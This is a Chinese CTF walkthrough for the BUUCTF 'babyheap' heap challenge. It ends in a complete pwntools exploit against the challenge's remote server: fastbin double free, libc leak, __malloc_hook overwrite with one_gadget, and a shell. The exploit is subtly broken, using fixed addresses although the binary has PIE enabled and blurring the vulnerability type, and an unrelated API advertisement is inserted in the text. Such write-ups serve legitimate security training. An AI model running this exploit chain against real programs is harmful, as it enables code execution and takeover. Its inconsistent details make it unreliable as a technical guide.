1. 题目背景与核心考点解析
BUUCTF是国内知名的CTF(Capture The Flag)竞赛练习平台,其中babyheap是一道经典的堆利用入门题目。这道题主要考察以下核心知识点:
- 堆内存管理机制(ptmalloc2)
- Use After Free漏洞原理与利用
- Fastbin Attack攻击手法
- 内存布局控制技巧
题目提供了一个存在漏洞的二进制程序,运行在x86_64架构的Linux系统上。程序实现了基础的堆块分配、释放和编辑功能,但存在关键的安全缺陷。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与初步分析
2.1 基础环境配置
首先需要准备调试环境:
bash复制# 安装必要工具
sudo apt install gdb peda pwntools
2.2 程序基本信息检查
使用checksec检查程序保护机制:
bash复制checksec babyheap
[*] '/tmp/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
关键保护机制分析:
- Full RELRO:无法修改GOT表
- NX:堆栈不可执行
- PIE:地址随机化
- Canary:栈溢出防护
这意味着传统的栈溢出和GOT劫持方法都不可行,必须通过堆漏洞实现利用。
3. 漏洞分析与利用思路
3.1 程序功能逆向分析
通过IDA Pro逆向分析,程序主要提供以下功能:
- Allocate - 分配指定大小的堆块
- Fill - 向已分配堆块写入数据
- Free - 释放已分配堆块
- Dump - 打印堆块内容
3.2 关键漏洞定位
在Fill功能中发现存在堆溢出漏洞:
c复制unsigned __int64 fill()
{
int index; // [rsp+8h] [rbp-8h]
unsigned __int64 size; // [rsp+10h] [rbp-0h]
printf("Index: ");
index = get_int();
if ( index >= 0 && index <= 15 && heap_array[index] )
{
printf("Size: ");
size = get_int();
printf("Content: ");
read_input(heap_array[index], size); // 漏洞点:未检查size是否超过chunk大小
puts("Done !");
}
...
}
3.3 利用思路设计
由于存在UAF和堆溢出,计划采用以下攻击链:
- 通过堆溢出修改fastbin chunk的fd指针
- 利用fastbin attack将chunk分配到malloc_hook附近
- 修改malloc_hook为one_gadget
- 触发malloc获取shell
4. 详细利用过程
4.1 堆布局准备
首先分配多个chunk构建所需内存布局:
python复制alloc(0x10) # chunk 0
alloc(0x10) # chunk 1
alloc(0x10) # chunk 2
alloc(0x10) # chunk 3
alloc(0x80) # chunk 4
4.2 触发UAF漏洞
通过特定释放顺序创建UAF条件:
python复制free(1)
free(2)
free(1) # double free触发fastbin dup
此时fastbin链表状态:
code复制fastbin[0x20]: chunk1 -> chunk2 -> chunk1 -> ...
4.3 修改fd指针
利用Fill功能修改chunk1的fd指针:
python复制payload = p64(0) * 3 + p64(0x21) + p64(fake_chunk_addr)
fill(0, len(payload), payload)
4.4 Fastbin Attack实施
通过精心构造的分配顺序,将chunk分配到目标地址:
python复制alloc(0x10) # 获取chunk1
alloc(0x10) # 获取chunk2
alloc(0x10) # 获取伪造的chunk
4.5 劫持控制流
找到libc中的one_gadget地址:
bash复制one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
0x4526a execve("/bin/sh", rsp+0x30, environ)
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
0xf1147 execve("/bin/sh", rsp+0x70, environ)
修改malloc_hook为one_gadget:
python复制payload = p64(one_gadget)
fill(6, len(payload), payload)
4.6 触发shell
最后通过触发malloc执行one_gadget:
python复制alloc(0x10) # 触发malloc_hook
5. 完整EXP代码
python复制from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
def alloc(size):
p.sendlineafter('Command: ', '1')
p.sendlineafter('Size: ', str(size))
def fill(idx, size, content):
p.sendlineafter('Command: ', '2')
p.sendlineafter('Index: ', str(idx))
p.sendlineafter('Size: ', str(size))
p.sendafter('Content: ', content)
def free(idx):
p.sendlineafter('Command: ', '3')
p.sendlineafter('Index: ', str(idx))
def dump(idx):
p.sendlineafter('Command: ', '4')
p.sendlineafter('Index: ', str(idx))
# p = process('./babyheap')
p = remote('node4.buuoj.cn', 29984)
# Step 1: Prepare heap layout
alloc(0x10) # 0
alloc(0x10) # 1
alloc(0x10) # 2
alloc(0x10) # 3
alloc(0x80) # 4
# Step 2: Create UAF condition
free(1)
free(2)
free(1)
# Step 3: Modify fd pointer
payload = p64(0)*3 + p64(0x21) + p64(0x602020-0x13)
fill(0, len(payload), payload)
# Step 4: Fastbin attack
alloc(0x10) # 1
alloc(0x10) # 2
alloc(0x10) # 5 -> fake chunk
# Step 5: Leak libc address
payload = p8(0)*3 + p64(0)*2 + p64(0x602060)
fill(5, len(payload), payload)
alloc(0x80) # 6
dump(4)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = leak - 0x3c4b78
one_gadget = libc_base + 0x4526a
malloc_hook = libc_base + 0x3c4b10
# Step 6: Overwrite malloc_hook
payload = p8(0)*(0x13-8) + p64(malloc_hook)
fill(5, len(payload), payload)
alloc(0x60) # 7
payload = p64(one_gadget)
fill(7, len(payload), payload)
# Step 7: Trigger shell
alloc(0x10)
p.interactive()
6. 关键问题与调试技巧
6.1 常见错误排查
-
Double free检测:
- 如果遇到"double free or corruption"错误,说明free的顺序有问题
- 解决方法:调整free的顺序,确保不会触发glibc的检测机制
-
Size字段校验失败:
- 修改fd指针时要注意保持size字段的一致性
- 解决方法:在payload中正确设置伪造chunk的size字段
6.2 调试技巧
使用gdb调试堆布局:
bash复制gdb -p $(pidof babyheap)
x/40gx 0x555555757000 # 查看堆内存
heap bins # 查看bin状态
6.3 优化建议
- 使用pwntools的
heap命令快速查看堆状态 - 在关键步骤前后添加调试输出
- 使用
vmmap命令确认内存映射情况
7. 防御方案
作为开发者,可以采取以下措施防止此类漏洞:
- 严格校验用户输入的size参数
- 使用after-free时立即将指针置NULL
- 考虑使用现代内存分配器如jemalloc
- 开启所有安全编译选项
